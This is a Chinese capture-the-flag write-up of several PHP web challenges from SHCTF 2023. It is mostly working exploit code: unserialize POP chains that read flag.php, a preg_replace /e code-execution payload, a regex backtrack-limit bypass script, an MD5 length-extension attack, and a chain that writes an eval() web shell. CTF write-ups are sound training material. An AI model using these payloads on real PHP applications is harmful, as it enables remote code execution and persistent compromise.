WEEK1
ez_serialize
源码
<?php
highlight_file(__FILE__);
class A{
public $var_1;
public function __invoke(){
include($this->var_1);
}
}
class B{
public $q;
public function __wakeup()
{
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->q)) {
echo "hacker";
}
}
}
class C{
public $var;
public $z;
public function __toString(){
return $this->z->var;
}
}
class D{
public $p;
public function __get($key){
$function = $this->p;
return $function();
}
}
if(isset($_GET['payload']))
{
unserialize($_GET['payload']);
}
?>
构造出的poc链代码如下图
<?php
highlight_file(*__FILE__*);
class A{
public $var_1 = 'php://filter/read=convert.base64-encode/resource=flag.php';
public function __invoke(){
include($this->var_1); }
}
class B{
public $q;
public function __wakeup()
{
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->q)) {
echo "hacker";
}
}
}
class C{
public $var;
public $z;
public function __toString(){
return $this->z->var;
}
}
class D{
public $p;
public function __get($key){
$function = $this->p;
return $function();
}
}
$b = new B();
$c = new C();
$d = new D();
$a = new A();
$b -> q = $c;
$c -> z = $d;
$d -> p = $a;
echo serialize($b);
?>
传参后可以得到答案
ezphp
<?php
error_reporting(0);
if(isset($_GET['code']) && isset($_POST['pattern']))
{
$pattern=$_POST['pattern'];
if(!preg_match("/flag|system|pass|cat|chr|ls|[0-9]|tac|nl|od|ini_set|eval|exec|dir|\.|\`|read*|show|file|\<|popen|pcntl|var_dump|print|var_export|echo|implode|print_r|getcwd|head|more|less|tail|vi|sort|uniq|sh|include|require|scandir|\/| |\?|mv|cp|next|show_source|highlight_file|glob|\~|\^|\||\&|\*|\%/i",$code))
{
$code=$_GET['code'];
preg_replace('/(' . $pattern . ')/ei','print_r("\\1")', $code);
echo "you are smart";
}else{
die("try again");
}
}else{
die("it is begin");
}
?>
it is begin
第一个判断需要我们get传参’code’,post传参’pattern’。
第二个判断使传参’code’中不能含有其中的指令或字符,然后在其中的 preg_replace(‘/(‘ . $pattern . ‘)/ei’,’print_r(“\1”)’, $code);可以得知有漏洞可以利用,即\e的命令执行
这里引用大佬博客,[大佬连接](关于preg_replace \e的代码执行-CSDN博客)
在本题的preg_replace(‘/(‘ . $pattern . ‘)/ei’,’print_r(“\1”)’, $code);代码中,可以为$pattern赋值为**.***以此来匹配0个或多个字符(任意字符),他就是匹配到了$code,然后因为他是子模式,所以\1的值就是$code,然后因为在双引号中,转义了\,\1的值$code就被当做代码执行了,所以我们只需要写一个能在print_r中执行的代码
payload $code={${phpinfo()}}
$pattern=.*
1zzphp
本题源代码
<?php
error_reporting(0);
highlight_file('./index.txt');
if(isset($_POST['c_ode']) && isset($_GET['num']))
{
$code = (String)$_POST['c_ode'];
$num=$_GET['num'];
if(preg_match("/[0-9]/", $num))
{
die("no number!");
}
elseif(intval($num))
{
if(preg_match('/.+?SHCTF/is', $code))
{
die('no touch!');
}
if(stripos($code,'2023SHCTF') === FALSE)
{
die('what do you want');
}
echo $flag;
}
}
第一个问题是需要给num传参里不能有数字,第二个问题里用到了intval函数,该函数获取$num里的整数值,如果不是则返回False,并且使用正则表达式函数 preg_match()
来匹配字符串 $code
是否包含 SHCTF
,stripos() 函数查找字符串在另一字符串中第一次出现的位置,即查找$code中是否有2023SHCTF,
第一步中我们可以通过给num传参进行数组绕过,即url+/?num[]=1
然后后面可以通过pcre时间回溯漏洞,发送大量字符串”2023SHCTF”以达到其上限从而能绕过preg_match函数,这样同时满足俩个判断从而得到flag
代码为
import requests
url = "http://112.6.51.212:31219/?num[]=1"
data={
'c_ode':'very'*250000+'2023SHCTF'
}
r=requests.post(url,data=data)
print(r.text)
WEEK2
serialize
源代码
<?php
highlight_file(__FILE__);
class misca{
public $gao;
public $fei;
public $a;
public function __get($key){
$this->miaomiao();
$this->gao=$this->fei;
die($this->a);
}
public function miaomiao(){
$this->a='Mikey Mouse~';
}
}
class musca{
public $ding;
public $dong;
public function __wakeup(){
return $this->ding->dong;
}
}
class milaoshu{
public $v;
public function __tostring(){
echo"misca~musca~milaoshu~~~";
include($this->v);
}
}
function check($data){
if(preg_match('/^O:\d+/',$data)){
die("you should think harder!");
}
else return $data;
}
unserialize(check($_GET["wanna_fl.ag"]));
可以构造如下图的poc链
<?php
highlight_file(*__FILE__*);
class misca{
public $gao;
public $fei;
public $a;
public function __get($key){
$this->miaomiao();
$this->gao=$this->fei;
die($this->a);
}
public function miaomiao(){
$this->a='Mikey Mouse~';
}
}
class musca{
public $ding;
public $dong;
public function __wakeup(){
return $this->ding->dong;
}
}
class milaoshu{
public $v = 'php://filter/convert.base64-encode/resource=flag.php';
public function __tostring(){
echo"misca~musca~milaoshu~~~";
include($this->v);
}
}
function check($data){
if(preg_match('/^O:\d+/',$data)){
die("you should think harder!");
}
else return $data;
}
$a = new musca();
$a -> ding = new misca();
$a -> ding -> fei = new milaoshu();
$a -> ding -> a = &$a -> ding ->gao;
$b = serialize($a);
echo serialize(array($a));
?>
将输出的序列化值进行传参从而可以得到flag,将其base64解码即是flag
这其中要注意的是传参的 $wanna_fl.ag中需要将其转换为 wanna[fl.ag以确保岂能在get中正确传参,当get传参出现[时,将会使其变为_,且后续.不会变化,也就是说,如果不做此修改,则会导致.无法被识别,从而无法满足传参的条件。
no_wake_up
本题也是一个反序列化题,题目源码为
<?php
highlight_file(__FILE__);
class flag{
public $username;
public $code;
public function __wakeup(){
$this->username = "guest";
}
public function __destruct(){
if($this->username = "admin"){
include($this->code);
}
}
}
unserialize($_GET['try']);
编写其反序列化代码
<?php
highlight_file(*__FILE__*);
class flag{
public $username;
public $code = 'php://filter/read=convert.base64-encode/resource=flag.php';
public function __wakeup(){
$this->username = "guest";
}
public function __destruct(){
if($this->username = "admin"){
include($this->code);
}
}
}
$a = new flag();
echo serialize($a);
运行结果为
O:4:”flag”:2:{s:8:”username”;N;s:4:”code”;s:57:”php://filter/read=convert.base64-encode/resource=flag.php”;}
MD5的事就拜托了
题目源码
<?php
highlight_file(__FILE__);
include("flag.php");
if(isset($_POST['SHCTF'])){
extract(parse_url($_POST['SHCTF']));
if($$$scheme==='SHCTF'){
echo(md5($flag));
echo("</br>");
}
if(isset($_GET['length'])){
$num=$_GET['length'];
if($num*100!=intval($num*100)){
echo(strlen($flag));
echo("</br>");
}
}
}
if($_POST['SHCTF']!=md5($flag)){
if($_POST['SHCTF']===md5($flag.urldecode($num))){
echo("flag is".$flag);
}
}
通过后续从大佬WP上学习知道该题为MD5补充攻击,需要我们取得知flag的长度和MD5值
第一步、获得flag的MD5值
参考源码
if(isset($_POST['SHCTF'])){
extract(parse_url($_POST['SHCTF']));
if($$$scheme==='SHCTF'){
echo(md5($flag));
echo("</br>");
}
这里面有几个不认识的函数,例如:**parse_url()**,其效果为
<?php
$url = 'http://username:password@hostname/path?arg=value#anchor';
print_r(parse_url($url));
echo parse_url($url, PHP_URL_PATH);
?>
结果----------
Array
(
[scheme] => http
[host] => hostname
[user] => username
[pass] => password
[path] => /path
[query] => arg=value
[fragment] => anchor
)
extract()函数
<?php
$a = "Original";
$my_array = array("a" => "Cat","b" => "Dog", "c" => "Horse");
extract($my_array);
echo "\$a = $a; \$b = $b; \$c = $c";
?>
extract() 函数从数组中将变量导入到当前的符号表。
该函数使用数组键名作为变量名,使用数组键值作为变量值。针对数组中的每个元素,将在当前符号表中创建对应的一个变量。
第二个参数 type 用于指定当某个变量已经存在,而数组中又有同名元素时,extract() 函数如何对待这样的冲突。该函数返回成功导入到符号表中的变量数目。
如果要满足$$$scheme==='SHCTF'
,我们可以使[scheme] => host
,导致$$host==='SHCTF'
;再使得[host] => user
导致$user==='SHCTF'
,就满足条件。
可以构造如下的数组
Array
(
[scheme] => host
[host] => user
[user] => SHCTF
[pass] => password
[path] => /path
[query] => arg=value
[fragment] => anchor
)
构造payload:host://SHCTF:password@user/path?arg=value#anchor
得到的flag的MD5值为: 5eff41d1008c731b14eec5d18c32d942
第二步、获取flag的长度
参考源码
if(isset($_GET['length'])){
$num=$_GET['length'];
if($num*100!=intval($num*100)){
echo(strlen($flag));
echo("</br>");
}
}
可以参考这位大佬的博客PHP intval()函数详解,intval()函数漏洞原理及绕过思路_intval绕过-CSDN博客
在intval函数中其会对所得的值进行取整,所以我们可以使**$num=1.111**即可得到flag的长度
得到flag的长度为 42
第三步、计算“md5($flag.urldecode($num))”
通过github上的哈希长度扩展攻击利用脚本可以通过已知的信息来求解
所以目前已知信息满足该md5(“密文”+”处理过的已知字符串”)=处理过的哈希值公式
md5($flag+”\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00P\x01\x00\x00\x00\x00\x00\x00233”)=7b0d8d07ac2974cc262613ed18d200df
将其中处理过的已知字符串将其\x替换为%进行url编码一下传参给length
再将处理过的hash值传参给SHCTF,执行即可得到flag
WEEK3
快问快答
根据这题提示以及尝试,要求我们2s内回答问题并连续答对50道,可想而知我们需要另辟蹊径了,即我们可以编写一个python代码来完成50道答题
代码如下
import requests
from bs4 import BeautifulSoup
import re
import time
# 创建会话
s = requests.Session()
url = 'http://112.6.51.212:31530/' #url
# 循环答题
correct_answers = 0
for i in range(70): # 除法运算时有些报错,影响了循环,这里改70
# 获取题目
r = s.get(url)
r.encoding = 'utf-8'
soup = BeautifulSoup(r.text, "html.parser")
question_text = soup.find("h3").text
print(question_text)
# 使用正则表达式从题目中提取数字和运算符
matches = re.match(r'题目:(\d+) (异或|与|[+\-x÷]) (\d+) =', question_text)
# 等待一秒
time.sleep(1)
if matches:
num1 = int(matches.group(1))
operator = matches.group(2)
num2 = int(matches.group(3))
if operator == '+':
answer = num1 + num2
elif operator == '-':
answer = num1 - num2
elif operator == 'x':
answer = num1 * num2
elif operator == '÷':
answer = num1 / num2
elif operator == '异或':
answer = num1 ^ num2
elif operator == '与':
answer = num1 & num2
# 准备POST数据
data = {"answer": answer}
# 发送答案
response = s.post(url, data=data)
print(f"答案:{answer}")
print(response.text) # 输出对应的response.text
sseerriiaalliizzee
本题从题目看就是一道POC链 题目
<?php
error_reporting(0);
highlight_file(__FILE__);
class Start{
public $barking;
public function __construct(){
$this->barking = new Flag;
}
public function __toString(){
return $this->barking->dosomething();
}
}
class CTF{
public $part1;
public $part2;
public function __construct($part1='',$part2='') {
$this -> part1 = $part1;
$this -> part2 = $part2;
}
public function dosomething(){
$useless = '<?php die("+Genshin Impact Start!+");?>';
$useful= $useless. $this->part2;
file_put_contents($this-> part1,$useful);
}
}
class Flag{
public function dosomething(){
include('./flag,php');
return "barking for fun!";
}
}
$code=$_POST['code'];
if(isset($code)){
echo unserialize($code);
}
else{
echo "no way, fuck off";
}
?>
no way, fuck off
本题可以构造的POC链为
Start __construct() -> Start __toString() -> CTF dosomething()
这其中我们需要考虑的是如何绕过CTF类中的$useless里面的die方法,如果使其执行,那么代码直接结束,我们想要写入的代码也无法写入,通过上网搜索,可以通过base编码来绕过
原理其实很简单,利用base64解码,将死亡代码解码成乱码,使得php引擎无法识别;
$filename='php://filter/convert.base64-decode/resource=s1mple.php'; $content = 'aPD9waHAgcGhwaW5mbygpOz8+';
这里之所以将$content加了一个a,是因为base64在解码的时候是将4个字节转化为3个字节,又因为死亡代码只有phpexit参与了解码,所以补上一位就可以完全转化;载荷效果如下:
具体详情可以看这位大佬博客file_put_content和死亡·杂糅代码之缘 - 先知社区 (aliyun.com)
所以我们可以如此构造POC链
$a = new Start();
$b = new CTF();
$a -> barking = $b;
$b -> part1 = "php://filter/convert.base64-decode/resource=1.php";
$b -> part2 = 'aa'.base64_encode('<?php eval($_POST[1]); ?>');
echo serialize($a);
将序列化后的值传参进去
然后访问我们设置的php位置并输入相关查询指令